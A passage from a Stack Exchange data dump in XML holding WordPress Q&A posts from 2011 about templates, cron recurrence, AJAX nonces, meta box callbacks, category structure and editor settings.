&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;email&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user_info-&amp;gt;user_email; ?&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;title&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;status&quot;&amp;gt;&#xA;            &amp;lt;?php echo $post-&amp;gt;post_status; ?&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php else: ?&amp;gt;&#xA;&#xA;        &amp;lt;p class=&quot;no-data&quot;&amp;gt;&#xA;            &amp;lt;?php _e('Sorry, no page matched your criteria.'); ?&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&amp;lt;!-- .no-data --&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add this little code css to style it right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;company-listing ul li{ float: left;padding: 2px;}&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you didn't specify what is &quot;USER&quot; so i just showed you how to use user_nicename but after this line &lt;code&gt;$user_info = get_userdata($post-&amp;gt;post_author);&lt;/code&gt; you can use $user_info with: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user_firstname&lt;/li&gt;&#xA;&lt;li&gt;user_lastname&lt;/li&gt;&#xA;&lt;li&gt;ID&lt;/li&gt;&#xA;&lt;li&gt;user_login&lt;/li&gt;&#xA;&lt;li&gt;user_pass&lt;/li&gt;&#xA;&lt;li&gt;user_nicename&lt;/li&gt;&#xA;&lt;li&gt;user_email&lt;/li&gt;&#xA;&lt;li&gt;user_url&lt;/li&gt;&#xA;&lt;li&gt;user_registered&lt;/li&gt;&#xA;&lt;li&gt;display_name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and a few more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As  for status i assume you are talking about the post_status so you will need to add &lt;code&gt;'post_status' =&amp;gt; array('publish','pending','draft','future','private',....)&lt;/code&gt; to your $args.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you are talking about a custom filed then just call that field with &lt;code&gt;get_post_meta($post-&amp;gt;ID,'status_field_name',true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2107" LastEditorDisplayName="" LastEditDate="2011-04-14T18:29:28.250" LastActivityDate="2011-04-14T18:29:28.250" CommentCount="4" />
  <row Id="14735" PostTypeId="2" ParentId="8315" CreationDate="2011-04-14T11:38:48.870" Score="0" ViewCount="" Body="&lt;p&gt;I agree with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8315/contact-form-7-from-adding-paragraph-and-break-tags-to-html-emails/13621#13621&quot;&gt;David Garcia&lt;/a&gt;,&#xA;in the textarea where you compile your form, any new line is converted to a &lt;br /&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the paragraphs instead are automatically created by CF7 in rendering the forms.&#xA;You've just to reset css to p tags inside the form.&lt;/p&gt;&#xA;" OwnerUserId="4155" LastActivityDate="2011-04-14T11:38:48.870" CommentCount="1" />
  <row Id="14736" PostTypeId="2" ParentId="14723" CreationDate="2011-04-14T11:48:03.750" Score="2" ViewCount="" Body="&lt;p&gt;There are only three explanations for why this isn't working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, something could be unregistering your action. That doesn't seem very likely, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, your code never runs in the ajax initialization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, the &lt;code&gt;wp_ajax_my_function_call&lt;/code&gt; hook never runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't worry about the possibility of the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the second, just make sure your code is run before &lt;code&gt;wp_loaded&lt;/code&gt;, as anything after that (i.e. &lt;code&gt;template_redirect&lt;/code&gt;, &lt;code&gt;wp&lt;/code&gt;, &lt;code&gt;pre_get_posts&lt;/code&gt;) isn't run in an ajax load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the third, just make sure you're posting your ajax request to wp-admin/admin-ajax.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you haven't already, I'd suggest giving a quick read to admin-ajax.php and wp-settings.php.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-14T11:48:03.750" CommentCount="5" />
  <row Id="14737" PostTypeId="1" AcceptedAnswerId="14738" CreationDate="2011-04-14T12:24:25.177" Score="0" ViewCount="50" Body="&lt;p&gt;In my plugin I'm able to set a cron event like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_schedule_event(time(), 'daily', 'myhookname');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But want I want to do is be able to find out what recurrence I have set for &lt;code&gt;myhookname&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why is that I'm offering a setting to allow the recurrence to be changed. What I need to do is check if the recurrence setting has changed from what its currently set as and if so remove the event and reschedule the event with the new recurrence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if there a function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recurrence = wp_current_event_recurrence('myhookname'); // returns hourly/daily/etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-14T14:01:31.383" Title="WordPress Cron how to find out my event recurrence?" Tags="&lt;cron&gt;" AnswerCount="1" />
  <row Id="14738" PostTypeId="2" ParentId="14737" CreationDate="2011-04-14T12:37:23.157" Score="1" ViewCount="" Body="&lt;p&gt;I think I've found it: &lt;code&gt;wp_get_schedule('myhookname')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: yes this works as I want it.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-04-14T14:01:31.383" LastActivityDate="2011-04-14T14:01:31.383" />
  <row Id="14739" PostTypeId="2" ParentId="14721" CreationDate="2011-04-14T12:39:12.297" Score="0" ViewCount="" Body="&lt;p&gt;You may want to encourage users to instead use the 'Post Visibility' option in the main publishing actions box on the post edit screen. Rather than filing private posts in a category, the user can simply set a post to private. Unless by 'private' you mean private to their individual blog but still public...&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-14T12:39:12.297" CommentCount="4" />
  <row Id="14740" PostTypeId="1" AcceptedAnswerId="14741" CreationDate="2011-04-14T12:44:45.247" Score="0" ViewCount="33" Body="&lt;p&gt;OK, it's more a philosophic question that a programming question, but at the end it will have a huge impact on code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 5 main product, a,b,c,d,e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;those 5 products have options&#xA;those products can belong to multiple category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the end, i should show the product a, with below, option of product a witch is a1, a2, a3, a4 and below, the other products that belong to the same category as a, so it can be, x, y, z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it look like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a1 &lt;/li&gt;&#xA;&lt;li&gt;a2&lt;/li&gt;&#xA;&lt;li&gt;a3&lt;/li&gt;&#xA;&lt;li&gt;a4&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;x&lt;/li&gt;&#xA;&lt;li&gt;y&lt;/li&gt;&#xA;&lt;li&gt;z&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How should i manage categories, should i create a category witch name is option for a or there is a better way. Organising is not my stongest point, but good organization can lead to easy coding.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;idea, if i can control the ID of the post created, i will create product a as id=100 and all option as product option a1 : id-101. option a2 : id=201 and so on ..&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-04-14T13:17:46.213" Title="Structure with category setting" Tags="&lt;categories&gt;&lt;listing&gt;" AnswerCount="1" />
  <row Id="14741" PostTypeId="2" ParentId="14740" CreationDate="2011-04-14T13:17:46.213" Score="0" ViewCount="" Body="&lt;p&gt;&lt;em&gt;I'm pretty sure i missunderstood you...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Approach: Categories &amp; Terms (built in taxonomies)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You have got categories (hierarchical built in taxonomy) &amp;amp; terms (non-hierarchical built in taxonomy). You can also assign terms to categories. So i'd say, you can take the following approach using the built in taxonomies:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;shoes (parent category)&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;boots (child category)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;sneakers (child category)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;other shoes (default child category)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and then use terms inside additional categories like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;color (parent cateogry)&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;cyan (term)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;magenta (term)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;yellow (term)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;black (term)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;laces (parent category)&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;long (term)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;medium (term)&#xA;and so on ...&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This would give you the ability to list all shoes on a category page. Then you can further list all sneakers on one page. You can also list all shoes that got long laces and red color.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Templates&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Take a look at (for eg.) &lt;a href=&quot;http://www.wpmods.com/query-multiple-taxonomies-in-wp-3-1&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for more information about the query for different archive (category/term) pages and how to query/retrieve multiple taxonomies at one page.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-14T13:17:46.213" />
  <row Id="14743" PostTypeId="1" CreationDate="2011-03-10T12:06:43.590" Score="0" ViewCount="84" Body="&lt;p&gt;how can i get the information which i have stored in the wordpress pages using meta tag.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-13T00:23:07.260" Title="meta tag in wordpress" Tags="&lt;php&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="14744" PostTypeId="2" ParentId="14743" CreationDate="2011-03-10T12:15:59.773" Score="0" ViewCount="" Body="&lt;p&gt;view your page source to see the meta tage output.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-10T12:15:59.773" />
  <row Id="14745" PostTypeId="2" ParentId="14743" CreationDate="2011-03-10T12:47:30.357" Score="1" ViewCount="" Body="&lt;p&gt;There is the &lt;a href=&quot;http://php.net/manual/en/function.get-meta-tags.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_meta_tags()&lt;/code&gt;&lt;/a&gt; function specifically for that. It makes an HTTP request and extracts the meta attributes into an associative array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_meta_tags(&quot;http://blog.example.com/&quot;);&#xA;print_r($meta);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1564" LastActivityDate="2011-03-10T12:47:30.357" />
  <row Id="14746" PostTypeId="2" ParentId="14743" CreationDate="2011-03-10T18:35:36.930" Score="0" ViewCount="" Body="&lt;p&gt;There are also several functions in Wordpress to help you access meta tags stored on your own Wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Fields&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Meta_Tags_in_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Meta_Tags_in_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" LastActivityDate="2011-03-10T18:35:36.930" />
  <row Id="14747" PostTypeId="1" CreationDate="2011-04-14T14:07:19.167" Score="0" ViewCount="73" Body="&lt;p&gt;For some reason, I'm not able to resize the text editing area on my site's WordPress install in Chrome or Firefox. I can resize the HTML editor, which shows a resize indicator in the white text editor area, but the rich editor will not resize even though it shows the resize indicator in the grey area - &lt;a href=&quot;http://cl.ly/5zgH&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/5zgH&lt;/a&gt;. I can resize the editor in other WordPress sites I use, but not this one. Has anyone seen this, and do you have any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2299" LastActivityDate="2011-08-12T22:23:01.240" Title="Resize Rich Post Editor in Chrome" Tags="&lt;editor&gt;&lt;writing&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14748" PostTypeId="2" ParentId="14747" CreationDate="2011-04-14T14:13:29.533" Score="0" ViewCount="" Body="&lt;p&gt;I know this isn't &lt;em&gt;exactly&lt;/em&gt; the fix you're looking for, but you could try simply adjusting the default size of the editor in WordPress's settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can go to Settings --&gt; Writing and change the value under &quot;Size of the post box&quot; to make it larger or smaller. I have mine set to 30 lines which is more than enough for a high resolution display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/OUPGJ.png&quot; alt=&quot;WordPress Writing Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-14T14:13:29.533" CommentCount="4" />
  <row Id="14749" PostTypeId="2" ParentId="13647" CreationDate="2011-04-14T14:17:37.780" Score="0" ViewCount="" Body="&lt;p&gt;This resolved my 404 error. I essentially went into IIS and directed the 404s to a custom URL “/index.php?error=404“&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blogs.iis.net/ruslany/archive/2008/12/05/enable-custom-errors-in-wordpress-on-iis-7-0.aspx&quot; rel=&quot;nofollow&quot;&gt;Article that explained how to resolve the error&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-14T14:17:37.780" />
  <row Id="14750" PostTypeId="2" ParentId="11578" CreationDate="2011-04-14T14:24:41.033" Score="0" ViewCount="" Body="&lt;p&gt;Great solution - this really helps make the PageNavi plugin work how I would hope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One tweak I did to the code was change &quot;First&quot; to &quot;Introduction,&quot;  (you could replace intro with anything else depending on your usage.)  Adding the comma you will also need to do at the end of the page titles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = isset( $title ) &amp;amp;&amp;amp; ( strlen( $title ) &amp;gt; 0 ) ? $title : 'First';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Introduction First Look Conclusions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Becomes this:  (which is a better formatting)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Introduction, First Look, Conclusions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, little more than a formatting tweak, but helps the readability.  I didn't get the included code for the first page to work, so hard coded it into the function.  Not pretty, but effective since I always call the first page &quot;Introduction.&quot;&lt;/p&gt;&#xA;" OwnerUserId="4667" LastActivityDate="2011-04-14T14:24:41.033" />
  <row Id="14751" PostTypeId="1" AcceptedAnswerId="14771" CreationDate="2011-04-14T14:25:48.813" Score="1" ViewCount="117" Body="&lt;p&gt;I've some trouble getting nonces working with my ajax submit form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all i create a nonce and pass it to my registered script, i'll later send it to ajax-handler packed with my form fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_localize_script( 'roll_script', 'Roll', array(&#xA;                    'postRollNonce' =&amp;gt; wp_create_nonce('nonce-roll')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my ajax-response handler i verify the nonce, do my stuff and try to create a new nonce to send back to js, for later submit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        function on_ajax_roll(){&#xA;            if (!wp_verify_nonce($_POST['postRollNonce'], 'nonce-roll' )) die ('No allowed!');&#xA;// nonce is valid! do some stuff...     &#xA;            $r = array('postRollNonce' =&amp;gt; wp_create_nonce('nonce-roll'));           &#xA;            $response = json_encode($r);&#xA;            header( &quot;Content-Type: application/json&quot; );&#xA;            echo $response;&#xA;            die();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but, back to my js, the new nonce is exactly the same as the old one! Since nonce is supposed to change with time, why a second call to wp_create_nonce return the same string?&lt;/p&gt;&#xA;" OwnerUserId="4666" LastActivityDate="2011-04-14T17:43:07.267" Title="ajax - why multiple calls to wp_create_nonce() return same value?" Tags="&lt;ajax&gt;&lt;form&gt;" AnswerCount="1" />
  <row Id="14752" PostTypeId="1" CreationDate="2011-04-14T14:26:48.490" Score="0" ViewCount="163" Body="&lt;p&gt;I would like to implement date-based archive functionality (similar to original WP Archives widget functionality) for custom post type (CPT). What makes it difficult is the fact that I need to group and &lt;strong&gt;archive events&lt;/strong&gt; not by published date, but &lt;strong&gt;by &lt;code&gt;event_date&lt;/code&gt; stored as a meta value&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have &lt;code&gt;event&lt;/code&gt; CPT registered as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'has_archive' =&amp;gt; 'past-events',&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'event','with_front' =&amp;gt; false),&#xA;    'query_var' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'show_in_nav_menus' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 15,&#xA;    'supports' =&amp;gt; array(&#xA;      'title',&#xA;      'editor',&#xA;      'author',&#xA;      'revisions'       &#xA;    )&#xA;  );&#xA;  register_post_type('event',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to generate archive links like &lt;code&gt;/past-events/2011/04&lt;/code&gt;, similar to the functionality of WP Archives widget. However, my events should be archived by the &lt;code&gt;event_date&lt;/code&gt; meta value. Also, if, say for April 2011, there are more events than my &lt;code&gt;Blog pages show at most&lt;/code&gt; setting, I would like to have a correct pagination for pages. And ideally, when viewing a single event I would have correct previous and next event links within that archive page. Hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WP3.1 I've gone as far as specifing &lt;code&gt;has_archive&lt;/code&gt; setting for the CPT. I did look around, but got confused how to proceed. Is that something I have to write myself or it could be done with WP functions or plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate any help and tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditorDisplayName="" LastEditDate="2011-04-14T16:44:21.983" LastActivityDate="2011-04-14T16:44:21.983" Title="Custom Post Type Archives by Date (stored as meta value) WP3.1" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;archive&gt;&lt;date-time&gt;" CommentCount="5" />
  <row Id="14753" PostTypeId="1" AcceptedAnswerId="14754" CreationDate="2011-04-14T14:36:16.110" Score="0" ViewCount="114" Body="&lt;h3&gt;Situation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I got a class where i add a meta box to the post edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; This is the working version now  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Calls the class on the post edit screen&#xA; */&#xA;function call_someClass() &#xA;{&#xA;    return new someClass();&#xA;}&#xA;if ( is_admin() )&#xA;    add_action( 'load-post.php', 'call_someClass' );&#xA;&#xA;/** &#xA; * The Class&#xA; */&#xA;class someClass&#xA;{&#xA;    public function __construct()&#xA;    {&#xA;        add_action( 'add_meta_boxes', array( &amp;amp;$this, 'add_meta_box' ) );&#xA;    }&#xA;&#xA;    /**&#xA;     * Adds the meta box container&#xA;     */&#xA;    public function add_meta_box( /* $args */ )&#xA;    {&#xA;        add_meta_box( &#xA;             'post_format_box'&#xA;            ,__( 'Post Format Content', self::LANG )&#xA;            ,array( &amp;amp;$this, 'render' )&#xA;            ,'post' &#xA;            ,'advanced'&#xA;            ,'high'&#xA;        );&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;     * Render Meta Box content&#xA;     */&#xA;    public function render( /* $args */ ) &#xA;    {&#xA;        return '&amp;lt;h1&amp;gt;TEST ME NOW&amp;lt;/h1&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Problem&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The meta box is showing, and the meta box callback functions output get's rendered inside my meta box... but inside an error message. Seems that i'm too tired to get around this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error Message&lt;/strong&gt; (exact display as in the meta box)  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: call_user_func() expects parameter 1 to be a valid callback, function '&#xA;  TEST ME NOW&#xA;  ' not found or invalid function name in R:\development\xampp\htdocs\wordpress\wp-admin\includes\template.php on line 963&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-14T15:27:47.643" LastActivityDate="2011-04-14T15:27:47.643" Title="meta box &amp; callback function" Tags="&lt;metabox&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="14754" PostTypeId="2" ParentId="14753" CreationDate="2011-04-14T14:42:15.800" Score="2" ViewCount="" Body="&lt;p&gt;Your callback function is wrong implemented&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box( &#xA;             'post_format_box'&#xA;            ,__( 'Post Format Content', self::LANG )&#xA;            ,@$this-&amp;gt;render()&#xA;            ,'post' &#xA;            ,'advanced'&#xA;            ,'high'&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box( &#xA;             'post_format_box'&#xA;            ,__( 'Post Format Content', self::LANG )&#xA;            ,array($this, 'render)&#xA;            ,'post' &#xA;            ,'advanced'&#xA;            ,'high'&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-04-14T14:42:15.800" CommentCount="1" />
  <row Id="14756" PostTypeId="2" ParentId="13601" CreationDate="2011-04-14T15:37:56.947" Score="0" ViewCount="" Body="&lt;p&gt;Apologies for the delay - what I did was basically created a .js file and places it within my theme folder - for example themes/nameoftheme/custom/checkcode.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then using jquery - I created my code - here's a snippet: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery('#in-category-6').click(function(){ &lt;br&gt;&#xA;            jQuery('#metabox_one').toggle(this.checked);&lt;br&gt;&#xA;            jQuery('#metabox_two').hide();&lt;br&gt;&#xA;            jQuery('#metabox_three').hide();&lt;br&gt;&#xA;            jQuery('#in-category-3').attr('checked', this.checked);&lt;br&gt;&#xA;            jQuery('#in-category-1').attr('checked', false);&lt;br&gt;&#xA;            jQuery('#in-category-4').attr('checked', false);&lt;br&gt;&#xA;            jQuery('#in-category-5').attr('checked', false);&lt;br&gt;&#xA;            jQuery('#in-category-7').attr('checked', false);&lt;br&gt;&#xA;            jQuery('#in-category-8').attr('checked', false);&lt;br&gt;&#xA;            jQuery('#in-category-9').attr('checked', false)&lt;br&gt;&#xA;        });&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems pretty explanatory but fyi&#xA;      in-category - refers to the category selected in the category box.&#xA;      attr - refers to attribute and as it's a checkbox - hence checked.&#xA;when catgeory-6 is selected, the metaboxes defined by the name is either hidden or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this - we now need to call this the javascript file - and this is done by going to the functions.php file of your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here you put - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp_enqueue_script('myscript', '/wp-content/themes/nameoftheme/custom/checkbox.js');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fyi wp_enqueue_script is the bit that calls the script when the page is loaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is clear for people. &lt;/p&gt;&#xA;" OwnerUserId="4340" LastActivityDate="2011-04-14T15:37:56.947" />
  <row Id="14757" PostTypeId="2" ParentId="12086" CreationDate="2011-04-14T15:45:02.690" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;realized that wordpress doesn't have a function that checks if a post has any content at all. Meaning, if I press &quot;Add new&quot; and just press publish, it won't say a word just save the information in the database.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is incorrect. &lt;code&gt;wp_insert_post()&lt;/code&gt; checks if post has content, title or excerpt. If all of these are empty then it returns &lt;code&gt;WP_Error&lt;/code&gt; with message about empty content.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem is that it's not visible in the admin area, just in the database. An entry with the title Auto Draft and post status auto-draft is created.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This isn't the worlds biggest problem, but still I want to avoid to be creating unnecessary entries in the database.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From quick look at code auto-drafts should be cleaned up automatically.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-14T15:45:02.690" />
